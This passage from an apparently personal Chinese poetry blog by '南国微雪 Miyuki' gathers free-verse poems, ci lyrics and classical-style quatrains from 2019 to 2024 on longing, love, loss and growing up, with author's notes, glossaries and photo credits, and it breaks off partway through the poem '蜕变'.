  7. 迷途
  8. 期冀
  9. 愿望
  10. 不屈
  11. 春秋三载
  12. 行走
  13. 顽柔
  14. 无题
  15. 小诗
  16. 故事
  17. 卿语
  18. 期待
  19. 赠君
  20. 影
  21. 给你
  22. 夏影
  23. 一瞬间
  24. 记 11 月 23 日 飘摇动荡
  25. 巨人
  26. 至美
  27. 行走在命运之上
  28. 极端
  29. 纸鸢
  30. 释放一只蝴蝶
  31. 复活
  32. 鸡尾酒
  33. 无题
  34. 我不会想见你
  35. 酒
  36. 沉睡在天空之上
  37. 一如既往
  38. 摩天轮
  39. 伪装
  40. 金色沙滩
  41. 站在迎风坡
  42. 每个人都是一个容器
  43. 得到
  44. 在你的瞳孔里
  45. 看见
  46. 放纵
  47. 在深夜里出逃
  48. 在星空下坠落
  49. 在无人的城市，放一束烟花
  50. 我的思念，是一支箭矢
  51. 我不会忘记你的名字
  52. 我愿化作一株野草
  53. 在王座上死去

英文诗歌

  1. Hide and Seek

词作

  1. 摊破浣溪沙
  2. 天仙子 • 忆灵
  3. 点绛唇 • 祈珍
  4. 清平乐 • 琴韵
  5. 如梦令 • 愿
  6. 减字木兰花 • 伊愿

古诗

  1. 变
  2. 雨
  3. 念

在王座上死去

写在前面

186 字 | 希望 | 忍受 | 引导 | 功名 | 真相

正文

　　我在王座上死去，

　　空洞的眼窝盯着自己。

　　有光透过我的头颅，

　　照在袍上。

　　补丁熠熠生辉。


　　我在王座上死去，

　　一如鲸落。

　　仅有的两个卫兵，

　　挡不住

　　春风，草绿，欢笑和生机。


　　我在王座上死去，

　　不需要纪念。

　　无字。


　　蚂蚁爬上我的头颅。

　　我渴望阳光，

　　不怯于被人唾骂，

　　但不希望被人看见。


　　我在王座上死去，

　　觉醒在王座上新生。


　　南国微雪 Miyuki

　　2024 年 4 月 10 日

封面图

摄影师 | Grant Whitty

图源 | Unsplash

我愿化作一株野草

写在前面

207 字 | 诗歌 | 信念 | 希望 | 勇气

正文

　　我愿化作一株野草，

　　在风中摇曳。


　　孩子们的笑，

　　在春天苏醒；

　　在秋天，随着桂花香

　　融入星空。

　　感受。


　　我站在高处，

　　眺望远方、炊烟和钟表。

　　禽鸟即为信使，

　　风作友人，

　　水化摇篮——

　　而一把野火

　　使你们看见创伤。

　　但那不是我。


　　默不作声，兀自静立；

　　等夜来临，待雾萦身。

　　你们会再看见我。

　　但那不是我。


　　真正的我，

　　于穹顶之下，

　　于大地之下，

　　与万物共生。


　　南国微雪 Miyuki

　　2024 年 1 月 5 日

封面图

摄影师 | Олександр К

图源 | Unsplash

念

写在前面

28 字 | 思念

正文

　　朱明¹见君夏三²至，

　　嫣然凄凄³若雅诗。

　　梦萦魂牵飞天际，

　　伊⁴影乍现南柯⁵痴。


　　南国微雪 Miyuki

　　2023 年 11 月 28 日

引用及附注

[1]朱明：夏天之雅称。

[2]三：形容多。

[3]凄凄：哀伤难过的样子。

[4]伊：第二人称代词，同“你”、“君”、“尔”、“彼”。

[5]南柯：南柯一梦。典自唐代李公佐《南柯太守传》。文载淳于棼在槐树下睡觉，梦到自己到了大槐安国，娶公主为妻，任南柯太守，享尽荣华富贵。后遭国王疑忌，被遣还乡。醒后发现大槐安国是槐树下的蚁穴。后喻人生如梦，得失无常；也泛指一场梦。

封面图

摄影师 | Behzad Soleimanian

图源 | Unsplash

我不会忘记你的名字

写在前面

151 字 | 诗歌 | 思念 | 执念 | 爱恋

正文

　　我不会忘记你的名字，

　　就像

　　鱼，不会忘记水。


　　风消失在春天里，

　　百花烂漫，

　　正如你的远去。


　　我不会忘记你的名字，

　　正如

　　春天开放在盛夏，

　　秋天在雪花上结果。


　　风

　　吹来千万树梨花。

　　吹来你的名字。


　　我不会忘记你的名字，

　　就像

　　鱼，离开了水的样子。


　　南国微雪 Miyuki

　　2023 年 11 月 15 日

封面图

摄影师 | Ahmed Zayan

图源 | Unsplash

我的思念，是一支箭矢

写在前面

181 字 | 思念 | 爱恋 | 届かない

正文

　　我的思念，是一支箭矢，

　　从成都上方射出，

　　抵达昆明。


　　经历欢笑与眼泪，

　　经历泥泞与彩虹。

　　动力不足，坠落。


　　小孩子捡起箭矢，

　　顽笑，哭闹。

　　用力一掷。

　　掷到大人手中。


　　大人手中有弓，

　　箭矢冰凉而炽热。


　　七年时间，

　　箭矢终于回到我的手中。


　　我握紧它们。

　　手中鲜血汩汩。


　　南国微雪 Miyuki

　　2023 年 11 月 4 日

写在后面

　　致七年时间，我那传达不到的爱恋。

封面图

摄影师 | Annie Spratt

图源 | Unsplash

在无人的城市，放一束烟花

写在前面

214 字 | 思念 | 感情 | 陪伴 | 情感需要 | 生活 | 孤独 | 和解

正文

　　在无人的城市，

　　放一束烟花。

　　看它在天空绽放，

　　落下绚烂的光芒。


　　茶仍未凉，

　　街上的树叶流浪。

　　阳光依旧热情

　　拥吻大地。

　　只是热闹换成寂寥。


　　在无人的城市，

　　放一束烟花。

　　听它制造一捧热闹，

　　看它照亮黑夜与希望。


　　电灯依然敞亮，蜡烛摇晃。

　　夜市清冷，

　　值班室电视聒噪。

　　无人知晓。


　　在无人的城市，

　　放一束烟花。

　　烟花绽放，色彩多种多样。

　　漂亮。

　　那是我的希望。


　　南国微雪 Miyuki

　　2023 年 10 月 15 日

封面图

摄影师 | Jamie Fenn

图源 | Unsplash

在星空下坠落

写在前面

248 字 | 诗词 | 想象 | 共情 | 释放

正文

　　我在人间贩卖日落，

　　一次夕阳价值

　　恋人一场

　　惊心动魄的拥吻。

　　无人问津。


　　我在天堂贩卖真情，

　　限时出售。

　　月亮贩卖机摇醒星星，

　　补货，睡眼忪惺。

　　总是售罄。


　　星星在夜晚睡觉，

　　而在白昼悠然地飘，

　　在轰鸣声与轨迹云中咯咯地笑。


　　打烊。

　　我在星空下坠落，

　　坠向日落与黄昏，

　　坠向太阳，

　　坠向日出与黎明。


　　星星在夜晚眯起眼睛。

　　我坠落。

　　星星在夜晚睁大眼睛。

　　无数真言、梦想与眼泪升起。


　　我在星空下坠落，

　　又和星星一起升起。


　　我在一侧贩卖日落，

　　又在一侧打烊休息。


　　南国微雪 Miyuki

　　2023 年 10 月 8 日

封面图

摄影师 | Leio McLaren

图源 | Unsplash

在深夜里出逃

写在前面

233 字 | 感触 | 诗意 | 自我

正文

　　夜里无人看守，

　　稻草人安然入睡。

　　流浪汉唱着家乡的歌，

　　看野猫触摸月球。

　　夜晚赶跑白昼，

　　像母亲

　　在父亲责骂之后的温柔。


　　深夜里出逃，

　　冷气伴人左右。

　　醉倒的人，

　　心里总有重要的人

　　行走。


　　深夜里出逃。

　　听——

　　演员吐露真心似假却实的话语，

　　小丑卸下妆容时流水的声音。

　　怔怔在剧院停留。


　　灯灭，

　　晚安与亲吻是优等生。

　　逃跑，

　　深夜里出逃，

　　感受万物宁静的呼吸。

　　一点点写着，

　　将跳动的心脏

　　写在年轮里。

　　星空的注视下，

　　是你自己的声音。


　　南国微雪 Miyuki

　　2023 年 10 月 1 日

封面图

摄影师 | Tony Detroit

图源 | Unsplash

放纵

写在前面

195 字 | 诗歌

正文

　　夜晚，流浪儿

　　对着银河放声高歌，

　　　　雪山上，

　　　　樵夫犷野呼喊。

　　而恋人，在末日接吻。


　　我想在灯塔顶端，

　　听海豚亲吻河流；

　　　　我想在冰岛，

　　　　看极光穿透夕阳；

　　我想在宇宙的尽头，

　　触摸那蔚蓝色的星球。


　　白色的小苗们在教室吵闹，

　　河面，影子拨水溜走。

　　长长的街道，热闹。

　　寂寥。


　　诗歌在幻想里一路狂奔，

　　　　化成墨痕

　　　　化为放纵

　　　　化为天边的流星

　　进入平凡的生活。

　　进入

　　　　我们本应得到的生活。


　　南国微雪 Miyuki

　　2023 年 9 月 15 日

封面图

摄影师 | Alexander Andrews

图源 | Unsplash

看见

封面图

摄影师 | Selvan B

图源 | Unsplash

写在前面

57 字 | 诗歌 | 警示

正文

　　太阳一直都在，

　　只是某些东西

　　使你看不见它。


　　南国微雪 Miyuki

　　2023 年 5 月 14 日

在你的瞳孔里

封面图

摄影师 | Ion Fet

图源 | Unsplash

写在前面

64 字 | 爱慕 | 依恋 | 渴望

正文

　　我想

　　在你的瞳孔里

　　生活。


　　那里，

　　所及之地

　　皆为光明。


　　南国微雪 Miyuki

　　2023 年 4 月 1 日

得到

封面图

摄影师 | Andrew Bui

图源 | Unsplash

写在前面

15 字 | 爱慕 | 渴望

正文

　　每当我想要光明，

　　我便梦见了你。


　　南国微雪 Miyuki

　　2023 年 3 月 30 日

每个人都是一个容器

封面图

摄影师 | noah eleazar

图源 | Unsplash

写在前面

99 字

正文

　　每个人都是一个容器，

　　装着许多东西往前走。


　　忽然有一天，容器出现小洞，

　　快乐如细沙，迅速溜走；

　　责任如冰块，俨然不动。


　　忽然有一天，下雨。

　　雨水

　　冲刷所有细沙，

　　融化所有冰块。


　　回望来时的路，

　　丢下的东西

　　稀稀拉拉摆成两个字：

　　“长大”。


　　南国微雪 Miyuki

　　2023 年 3 月 24 日

站在迎风坡

封面图

摄影师 | Saad Chaudhry

图源 | Unsplash

写在前面

34 字 | 爱恋 | 情绪

正文

　　我想站在迎风坡，

　　对着风大喊。


　　风那么快，

　　一定能将我带往

　　喜欢之人的耳旁。



　　南国微雪 Miyuki

　　2023 年 3 月 10 日

雨

正文

不知昨夜风摇雨，晨醒花落迟惜戕¹。

故人形容影何在，惟叹席冰茶未凉。


南国微雪

2023 年 3 月 9 日

引用及附注

[1] 戕(qiāng)：杀害，毁坏。

金色沙滩

封面图

摄影师 | Jeremy Ricketts

图源 | Unsplash

写在前面

417 字 | 慵懒 | 惊喜

正文

　　金色沙滩，

　　金色温暖。

　　安心潮起潮落，

　　海水漫灌脚尖，

　　微风深邃和鸣，

　　海鸥剪出一线。

　　慵懒。


　　“猜猜我是谁？”


　　回头。

　　金色温暖，

　　忽然现于身后。



　　南国微雪 Miyuki

　　2022 年 11 月 21 日

写在后面

　　每个人都希望遇到惊喜。

　　每个人都希望能够安心。

　　我曾不止一次地期许着，有那么一个慵懒的下午，把世界置于身后，任由它哭闹，我全然不理，而是一人在海边漫步。

　　海水漫过脚尖，脚掌被柔软的沙粒包裹。

　　旷野无人，恣意散漫。


　　“金色温暖”出现了两次。

　　一方面表指沙滩带来的温暖的感觉，一方面里指不期而遇的朋友带给人的意外惊喜。更深层地，最想表明的东西其实是那些，像太阳一样，金色的，带给人温暖的东西。

　　沙滩本只是暖黄色，有阳光，才闪闪发光。

　　而诗人本只想出逃，来自朋友的惊喜，才让这场旅行更值得铭记。

　　如果有什么能够形容转身看见旧友的心情，我想，只有太阳一般的金色了。


　　文末戛然而止，只是希望，不去抹掉之后万千的可能性，不去固定之后那些因人而异的无数体验。

伪装

封面图

摄影师 | Everton Vila

图源 | Unsplash

写在前面

437 字 | 爱恋 | 陪伴

正文

　　冰淇淋幸福地融化。

　　小橘子瞧了瞧，

　　跳进碗里

　　变成果冻。


　　餐盘从爪子中滑出。

　　裤脚被挠得飒飒作响。

　　“喵～”

　　“我不吃啦，你吃。”

　　“喵！～”

　　“我真的不吃啦！你真的是……”


　　人和猫猫对峙，

　　风铃忽然高歌。

　　“我回来了！

　　“今天超市打折！

　　“一个人拿不下！”

　　“喵～”

　　“马上就来！”


　　我对你说，

　　明天想去看海。

　　你说，

　　好呀，我陪你。


　　雪球不喜欢海水，

　　一直在椅子上睡觉。

　　不时朝我们喵喵叫。

　　海边，

　　情侣相依散步，

　　星星追着月亮，

　　摄影师摄下暗恋。


　　总觉得喜欢无迹可循，

　　想揪它耳朵出来。

　　那一天，夕阳下，

　　一瞬间，对上眼，

　　它拨人心弦：

　　我们所以为的陪伴，

　　其实都是

　　伪装后的喜欢。


　　你一直在伪装，

　　而我从未发现。

　　现在，我也开始伪装，

　　直到永远。



　　南国微雪 Miyuki

　　2022 年 11 月 4 日

写在后面

　　曾看过一句话：

　　世界上有三种幸福：有人信你，有人陪你，有人等你。

　　信任需要有人先主动，等待又有人似乎在更前面，而陪伴似乎是最美好的东西了。双方平等，不离不弃。

　　但不可否认的是，这三种东西，都很让人幸福。

　　我想将它们具现出来。

摩天轮

封面图

摄影师 | Tianhao Zhang

图源 | Unsplash

写在前面

287 字 | 诗歌 | 爱恋

正文

　　听说，

　　在摩天轮的最高点接吻

　　是每对恋人都会做的事。

　　可是，

　　你对我来说那么特别。

　　我才不要和其他人一样。


　　摩天轮，转呀转。


　　“那个，”

　　在最高点的时候，我会这样叫住你。

　　“嗯？”

　　拉起你的手，贴在脸上。

　　“要不要，叫一下我的名字？有惊喜哦？”

　　看着你惊奇的眼光。


　　“有什么惊喜？”

　　“你先叫嘛。”

　　听见某人不情不愿的声音。


　　“锵锵～”

　　魔法般地从背后拿出两个冰淇淋。

　　“一起吃吧。”


　　而当你恨恨地咬下第一口时，

　　你不会想到，

　　我会在旁边

　　偷偷地

　　吻住你。



　　南国微雪 Miyuki

　　2022 年 10 月 25 日

写在后面

　　一首小诗，于夜深思念时成型。思念之疾，无药可医。惟愿这首小诗能带给你们可爱的感觉。

一如既往

封面图

摄影师 | Claudia Schmalz

图源 | Pexels

写在前面

540 字 | 心绪强烈

To my past sin, Nileicna.

正文

　　你还好吗？


　　如果，只是如果，

　　我的朋友们也像我这样

　　写给你，

　　请不要相信。


　　他们会说，

　　说我衣柜里全是你喜欢的品牌；

　　说我在和他们露营的那个晚上

　　　　握着你给的项链

　　　　　　忽然失声痛哭；

　　说家里你买的雪球，被我喂得胖了一圈

　　　　成天趴在你的床上懒得动；

　　说我夙夜买醉，

　　　　去大街上吻一个像你的人

　　却

　　　　报了个钢琴班

　　　　没日没夜地练习《梦中的婚礼》

　　　　　　直至双手红肿；

　　说我时常坐在雪球旁边，发呆一整天；

　　说我在手腕上纹了你的名字，

　　　　但写作进展完全不能推进；

　　说我很想你。


　　如果真写了这些，

　　所有这些，

　　请一定不要相信。 　　

　　我真的，

　　真的没有那么想你。

　　我只是，

　　只是一如既往。

　　对——

　　一如既往，

　　一如你仍在人世时

　　我寻常的模样。 　　

　　你还好吗？

　　我很好。

　　一如既往。



　　南国微雪 Miyuki

　　2022 年 7 月 26 日

写在后面

　　听一首歌时，由一句歌词译文激发了灵感[1]。

　　我也时常在深夜思念着某个人，虽程度深不至此，但也落得情难自禁，悲从中来的地步。我毫不怀疑“相思症”在现实世界中的可能性。痛心疾首，妄自菲薄，卑微如尘。我想，若有类似经历，大约都会有共鸣。

　　所以写作此诗，也意在告诫自己：珍惜眼前人。

　　共勉。

引用及附注

[1] 灵感来源：

歌名：《You for Me》- Sigala/Rita Ora

歌词原文：I drink till I kiss somеone who looks like you。

歌词译文：我不停买醉 去吻一个像你的人。

沉睡在天空之上

封面图

摄影师 | anykeep

图源 | Pixabay

写在前面

223 字

正文

　　我沉睡在天空之上，

　　身下是云海

　　和

　　蔚蓝的水晶球。


　　有时我会醒来，

　　看白色铺满天空。

　　直到年兽进门时，醒来

　　抖抖衣衫，

　　白色依旧铺满夜空。


　　我会将所有白色撒回人间，

　　一年的积攒，

　　无数愿望升腾

　　凝结。

　　最后的颜色。


　　如果某天早晨

　　你们发现满地素白，

　　那并非我赐予你们的礼物

　　而是你们

　　自己的馈赠。


　　我喜欢白色。

　　喜欢哈出的白气。

　　也喜欢沉睡在天空之上，

　　看无数愿望

　　升腾。



　　南国微雪 Miyuki

　　2022 年 7 月 16 日

写在后面

　　这首诗的写作动机，完全出于灵感，以及自己单纯的愿望。

酒

封面图

摄影师 | Vinotecarium

图源 | Pixabay

正文

　　我们去偷喝黄昏的酒，

　　然后醉倒在黎明。

　　万物都在苏醒，

　　爆发阵阵狂欢。


　　我们酣睡到冬季，

　　醒来，

　　万物都在冬眠。

　　揉揉眼睛，

　　翻身，

　　拥抱目光微醺，神色绯红的你。

　　一起，手牵手迎接春天的来临。



　　南国微雪 Miyuki

　　2022 年 4 月 28 日

我不会想见你

封面图

摄影师 | Alesya-Lesechka

图源 | Pixabay

正文

　　我不会想见你，

　　正如月亮不会想见星星。


　　漫天飞舞的雪花，

　　跌落山崖。

　　坠入梦境，化为

　　滴滴雪痕融于眦梢。


　　相片在裱窗里徘徊，

　　费尽心思，

　　想把多余的沉重扔出框角。


　　我有许多美好，

　　头脑，荧光，拥抱和钟表。


　　钟表。

　　钟表。

　　恸哭馀出吵闹。


　　一步，

　　一笑。

　　寂寥。

　　频频回首终将告老。


　　我不会想见你，

　　正如我的诗歌

　　不会想见

　　它思念的窈窕。



　　南国微雪 Miyuki

　　2022 年 3 月 22 日

减字木兰花 · 伊愿

　　岁除尘器。梦黯伤离皆夜魇。

　　阳莅元辰¹。漫叶新舒金吐森。

　　武²藏雪凝。仕倩双茫心颤鸣。

　　来路辙³轻。期引鸳鹊⁴笑染径。



　　南国微雪

　　2022 年 1 月 1 日


　　注释：

  • 1） 元辰：元旦之雅称。

  • 2）武：痕迹，足迹。《楚辞·离骚》：“忽奔走以先后兮，及前王之踵武。” 。

  • 3） 辙：车轮，车轮印，代指艰辛困苦。

  • 4） 鹊：喜鹊。古时喜鹊有报喜鸟一说，庆贺主人家升迁或乔迁。

无题之二

　　黑夜来了。

　　不必害怕，

　　太阳

　　会如约临至。

　　歌唱吧，那难熬的忍受。

　　黎明前，

　　是最适合高歌的时刻。


　　——给 Asuna 之信件



　　南国微雪

　　2021 年 12 月 24 日

鸡尾酒

　　“怎么突然说这些？”

　　“哎呀，别管这些，听我说嘛……”


　　两颗心

　　知肚明，照不宣。


　　源自酒，两对眸，

　　视笑惟留。

　　静语，静听，静默，含脉¹衔温柔。


　　鸡尾酒

　　 是借口，

　　 也同 是出口。


　　“昨天我说了什么吗？

　　“我记不太清了。”

　　“没有啊？”

　　“哦，那就好。

　　“要是有，记得保密哦。”



　　南国微雪

　　2021 年 11 月 30 日


　　注：

　　1).脉：读 mò，取自“含情脉脉”，双关“默”。

复活

　　有时候，

　　我会复活，

　　去寻找我的样子。


　　我不清楚为什么自己会复活，

　　总是伴随着一个物件

　　和红红的耳朵。


　　当我流浪，

　　当我看着月光，

　　当我看着太阳，

　　所有记忆都在雀跃。


　　我忽然明白

　　我为什么复活。



　　南国微雪

　　2021 年 11 月 9 日

释放一只蝴蝶

　　所有的夜晚都在沉睡，

　　我抱着酒瓶，在街上

　　流浪。

　　许多灵魂升起，

　　飞上天空，

　　在墨迹般夜空中流浪，

　　或许有的灵魂，叫北斗。

　　又或许，叫天狼。


　　我捉住醺意

　　沉睡，

　　蜷缩身体，漏出鼾声。

　　蝴蝶从笑意角落溜走，

　　带着迷惘。


　　我的蝴蝶栖息在夜晚，

　　她和天狼一样美丽明亮，

　　唯有这样，

　　才能照亮那个怕黑的女孩时，

　　温柔又漂亮。



　　南国微雪

　　2021 年 11 月 7 日

纸鸢

　　人们常说

　　孩子就像风筝，

　　需要父母在后面牵连。

　　可我望了望自己身后的物件，

　　那不是提绳，

　　是引线。



　　南国微雪

　　2021 年 8 月 27 日

极端

　　给我一把伞，我要看

　　万物在暴风眼里，

　　起舞。


　　我会带上，

　　一条老狗，一根笔，和一把未来

　　引一场雷暴。


　　“说吧，谁叫你这么做的。”

　　指指他的汗水。

　　乌云怒不可遏。


　　月亮升起，连同我

　　和所有电闪雷鸣的昨天

　　甩在身后。

　　奔向

　　杜鹃不再啼血。


　　当你看向所有动物的眼睛，

　　抑或颤抖着写下。

　　如一场雷暴。

　　不必怀念我，我就在上边。



　　南国微雪

　　2021 年 7 月 21 日

行走在命运之上

　　予我一把种子，

　　在玻璃栈道上发芽，填满

　　无名的恐惧。


　　总会有向日葵，

　　混淆太阳的朝向，与

　　自己高高的脊梁。

　　不会说谎。


　　为青春留下

　　在满月起舞，

　　眼里是否会涨潮。


　　踉踉跄跄，回望

　　在沥青上按下汗水，

　　一印一印深浅不一

　　却引得路边花香。



　　南国微雪

　　2021 年 7 月 18 日

至美

　　若世间所有的美，

　　都化作一页页诗歌。

　　期待着，希望着，

　　我的眼里

　　翻过你的倒影。



　　南国微雪

　　2021 年 3 月 1 日

巨人

　　两眼平视远方，

　　月亮在云上打滚，

　　喜鹊冲下

　　山涧，折出巨人的眼眸。


　　双手托起一座山脉，

　　看隐士雀跃舞蹈

　　疼凡人胆惧之身。

　　饥饿的脸上

　　　　划过一丝阴翳。


　　散望四处

　　巨物若有所思地安眠。

　　得以存活。

　　人，涧，月。


　　益处。

　　涧与海终于有机可乘，

　　顺脊滑进禾苗稻田。


　　于所望静谧之时。


　　——给蒋杼含之信件



　　南国微雪

　　2021 年 1 月 13 日

记 11 月 23 日 飘摇动荡

　　文字可以有三十七度，

　　我不会知道。


　　努力奔跑的流星

　　会化成人的模样，

　　许在旁眼里，柳成荫。


　　水与光芒并存

　　驱动渴望。

　　背影往怀里拥撞。


　　患得患失中，

　　蓦地有人伸出手来，

　　终线在不远处跳动。


　　我不知道，

　　手心可以有三十七度以上。



　　南国微雪

　　2020 年 11 月 23 日

一瞬间

　　山林喑哑 风月远去，

　　道路滚动身躯。

　　烟火清冷，未寻觅迹，离于自己。


　　想过冷静，想过计划，

　　想过壁炉旁一个人的白发，

　　想过无处安放的方寸情恰。


　　没想过，握住把手，

　　疲惫地推开门

　　会迎头撞上一句，


　　“欢迎回家。”


　　愣了一下，

　　地板折出两点光华。



　　南国微雪

　　2020 年 11 月 16 日

夏影

　　暂且扔掉吧

　　小溪边湿透的零钱。

　　飞雪山林，夕阳水花，

　　舞蹈如流苏摇曳。

　　风，恣意又狂放，

　　将文字谱成诗篇。

　　会有夜晚为你奏响

　　幻想中的幻想。

　　拥有的与自由的。


　　终究要醒吗？

　　雾还未消去，面馆里

　　汗珠已于人们头上率先醒来。

　　“去我家玩吧！”

　　路边有人很是雀跃。

　　冻得刚好的雪糕，

　　游戏机仍然在放音乐。

　　爬山虎尝试登上月球

　　看星星追着自己跑。


　　拉着音符胖乎乎的尾巴，

　　听女孩子为心上人

　　努力做饭的烟火声

　　和

　　心脏狂乱的紧张感。


　　挽起袖子，趁他不注意，

　　把溪水泼到他身上，看他

　　转过身，佯怒，盯着你。

　　然后两人湿淋淋地回家，

　　相视——大笑。

　　留下水滴在路旁幸福地融化。


　　还是捡回来吧。

　　拥有的与自由的。

　　晒干后的零钱，

　　说不定，能买

　　两支雪糕和一张笑脸呢？



　　南国微雪

　　2020 年 8 月 29 日

如梦令 • 愿

　　雨静敛心追忆，饬¹嬿²拭尘明细。孑自醉姣颜，忽省³无人匀⁴迹。寻觅，寻觅，期遇鸳缘知己。



　　南国微雪

　　2020 年 6 月 19 日


　　注：

  • 1、饬(chì)：整顿，整理。

  • 2、嬿(yàn)：美好。

  • 3、省：读 xǐng，压仄韵，此处意为明白。

  • 4、匀：均匀，分给。

给你

　　记得，那天你

　　送了我大片的棉花糖，

　　从此山涧安然入睡，

　　我也怀抱整个晚霞。



　　南国微雪

　　2020 年 4 月 28 日

影

　　夏天来了

　　拖着说梦话的日历。

　　荷花是否再度起飞？

　　苹果想爬上雪花。


　　耳边碎碎的故事，

　　掌心聒聒又脸红。

　　犹记樱桃藏匿

　　一瀑长发，飞越暑假。

　　温暖如春，也

　　如冬。

　　蓦地传来影子破裂的韵律。



　　南国微雪

　　2020 年 4 月 6 日

赠君

　　　　　初遘见 　　　　　 已罹浅

　　　　相谈如平行线　　　不料日后剧变

　　距缩减而相谈晏晏忘却时间然暗辟吾心边

自时千里送笺趣事意享从不三缄诞辰时刻记心间

　 犹记艰险危旦毅然向前却存耳旁絮语轻言

　　　　现距远但犹在身边蜜如不恋胜恋

　　　　　　执笔挥词纸砚如君眉眼

　　　　　　　期君冕而缱绻

　　　　　　　　　　惟愿


——仿 香港中文大学微情书一等奖作品

　　 而赠与某人



　　南国微雪

　　2020 年 4 月 1 日

期待

　　山谷间飘满了梦境。

　　小孩子，挽着野百合的

　　女儿藏进你的眼底。

　　紫罗兰吐出晶亮的泡泡，

　　而风在月光下舞蹈。

　　荷叶在露珠身上睡大觉。

　　壁炉旁火晕的钢笔尖上，

　　有什么在雀跃。

　　二十九个俏皮眨眨眼

　　是两张笑脸，一场欢喜。

　　我不会想你。



　　南国微雪

　　2020 年 3 月 24 日

卿语

正文

　　我想有一只小猫，和你。

　　小猫懒懒地趴在壁炉旁睡觉。

　　而你在努力思考。


　　我会悄悄让橘子，

　　在你头顶安个小家。

　　待你转过头，

　　看炉火在你彤红的脸上

　　雀跃舞蹈。


　　微微笑。

　　“手牵手一起看星星吧！”

　　一同望向窗外。


　　然后趁着所有星辰

　　划过你眼眸那刻，

　　轻轻拥抱你。



　　南国微雪

　　2020 年 1 月 6 日

写在后面

　　另一版本最后一句为：在你耳旁低语。

清平乐 • 琴韵

　　雨洇柔地，雪霁登临悄¹。梦氲林钟²君瑟离，弯了谁家眉梢。

　　昨拥弦韵无言，绕梁³欲挽罹⁴艰。瑞雪润卿律韵，惟期来日结渊⁵。



　　南国微雪

　　2019 年 12 月 16 日


　　注：

  • 1、悄：qiǎo，压仄韵，读三声。

  • 2、林钟：古代对于六月的雅称。

  • 3、绕梁：典出自“余音绕梁”。

  • 4、罹：lí，遭受，多指苦难。

  • 5、结渊：结下渊源，指构建友谊。

故事

　　我，她，没有你。

　　我，你，没有她。

　　你和她。

　　只有我。


　　——给周虹灵之信件



　　南国微雪

　　2019 年 12 月 4 日

小诗

　　天空要你，

　　大地要我。

　　该如何是好？


　　于是我叫来了盘古。


　　——给周虹灵之信件



　　南国微雪

　　2019 年 12 月 4 日

无题之一

封面图

摄影师 | Esteban Castle

图源 | Unsplash

写在前面

48字

正文

　　你终于，携一束紫丁香

　　坠入我的梦境。



　　南国微雪

　　2019 年 10 月 25 日

顽柔

　　穿予心魂的罅隙，

　　你终于，着一袭韶美，

　　晕进我的梦懿。



　　南国微雪

　　2019 年 10 月 21 日


　　作者注：

　　懿：美好。也系作者高中一同桌的名字。

行走

　　当太阳变成月亮，

　　一切都沉静。

　　身后似乎有人，在跟着我。


　　月亮被点燃，

　　他还在追随着。


　　我向前奔跑，

　　跑进灯光，跑进湖里。

　　他依旧不弃。


　　有些紧张，

　　有些轻松。


　　海上的石头

　　　　抱住了

　　甜甜的冰淇凌。

　　　　不想放手。


　　直到所有花朵

　　　　都化上太阳的妆，

　　回眸。


　　他在脚下轻轻一笑。

　　安心。


　　世上的几千万太阳，

　　　　依旧摇曳着。


　　——赠与晴天呐的 17 岁生日礼



　　南国微雪

　　2019 年 10 月 20 日

春秋三载

封面图

摄影师 | distelAPPArath

图源 | Pixabay

正文

　　叶子爱上变色龙，

　　微笑在瞳孔里开花。

　　月亮一天天打盹，

　　橘子为了跳伞

　　　　会穿上漂亮的衣服。


　　睡满金黄杏叶的小路上，

　　男孩总比女孩快两步。

　　太阳悄悄藏起来。

　　男孩会悄悄地往后看一眼，

　　　　时不时地，

　　　　　　看一眼。


　　忽然身后只有了银杏叶，

　　男孩的路途也变得陡峭。


　　站住，转身。

　　女孩轻轻转了一圈，

　　伞面匀成一朵花，

　　　　顺着风，绽放。


　　“怎么了？”

　　相视，一怔，两人大笑起来。


　　碗里的冰淇凌率先融化。


　　——赠与灰灰的 17 岁生日礼



　　南国微雪

　　2019 年 10 月 17 日

不屈

　　钻进你们好奇的眼神，

　　我的时间

　　永不流动。


　　我只想笑，

　　你会明白的，

　　像我这样观测你们。


　　无所谓的，

　　你们永远看不见

　　我的灵魂。


　　那会是怎样的桀与傲。



　　南国微雪

　　2019 年 8 月 29 日

点绛唇 • 祈珍

　　骤雨初歇，凭栏相望君铭湖。

　　未停愉忆，俶而余恸哭。


　　花绽云舒，愿展君鸿鹄，

　　情未古，待逢君路，再把轻琴抚。



　　南国微雪

　　2019 年 7 月 29 日

天仙子 • 忆灵

　　夜漾水扑红吻地，寐惊梦里人离去。披衣登顶觅君历，忆往昔，唇角提，却忘枕边一水迹。



　　南国微雪

　　2019 年 7 月 24 日

愿望

　　想把未来画成过去。


　　照片里有你——

　　拥抱与被拥抱的痕迹。

　　像是花儿亲吻金鱼。


　　会把未来录成过去。

　　与你一起。



　　南国微雪

　　2019 年 5 月 24 日

变

　　倾如覆盆愿如雨，

　　心裹余音悠似笛。

　　虹携欢愉向星去，

　　灵动刹那遇你时。



　　南国微雪

　　2019 年 4 月 11 日

摊破浣溪沙

　　一语惊起门前雀，荠荷露于炎天阳。往事投诸梦里去，勿自伤。

　　残枝探渐点点绿，人闲踱赏微风堤。须惜眼前春色好，莫失懿。



　　南国微雪

　　2019 年 3 月 11 日

期冀

　　我在太阳中央，

　　找到了回家的路。

　　那里有你的心跳

　　　　和我

　　　　悸动不已的手心。

　　就在今晚，

　　我会乘着夜的温柔，

　　　　驶向那个

　　　　　　特定的未来。



　　南国微雪

　　2019 年 3 月 6 日

迷途

　　只要你想，

　　我能在疆场上，

　　　　去敌人的军营里，

　　摘一朵雏菊。


　　只要你想，

　　我能揭下整张天空，

　　露出那

　　晶亮晶亮的浪漫的太空。


　　你想，

　　我想你想，

　　我想你向我。


　　我不想……



　　南国微雪

　　2019 年 3 月 2 日

蜕变

　　苍木直指云天，

　　炊烟缭绕其间，

　　人与太阳同眠。

　　泉水流入心田，

　　那里长着刺猬

　　　　与倒映在湖中的新芽。


　　路灯静洒太阳，

　　熙熙攘攘。

　　汽车碎成剪影，四处铸墙。

　　夜在此不曾活过。


　　一位少年的眼瞳，

　　窜出嫩苗与萤火的绿，

　　漫进霓红的像素里。

　　然后毅然与夜拥抱。


　　白驹溜进罅隙，

　　杀死炊烟

　　硬茧拔地而起。

　　　　多少刺猬逃跑；

　　　　谁又挣脱夜的怀抱；

　　长成嫩苗的躯体里，

　　圈圈汗水

　　　　——在倔强。


　　千万嫩苗根系

　　　　交错成大地；

　　千万萤火集聚，

　　　　点亮西南，点亮夜，

　　　　点亮东方和东方。

　　苍老巨人再度发光，

　　站在太平洋这边，

　　触摸着大地，

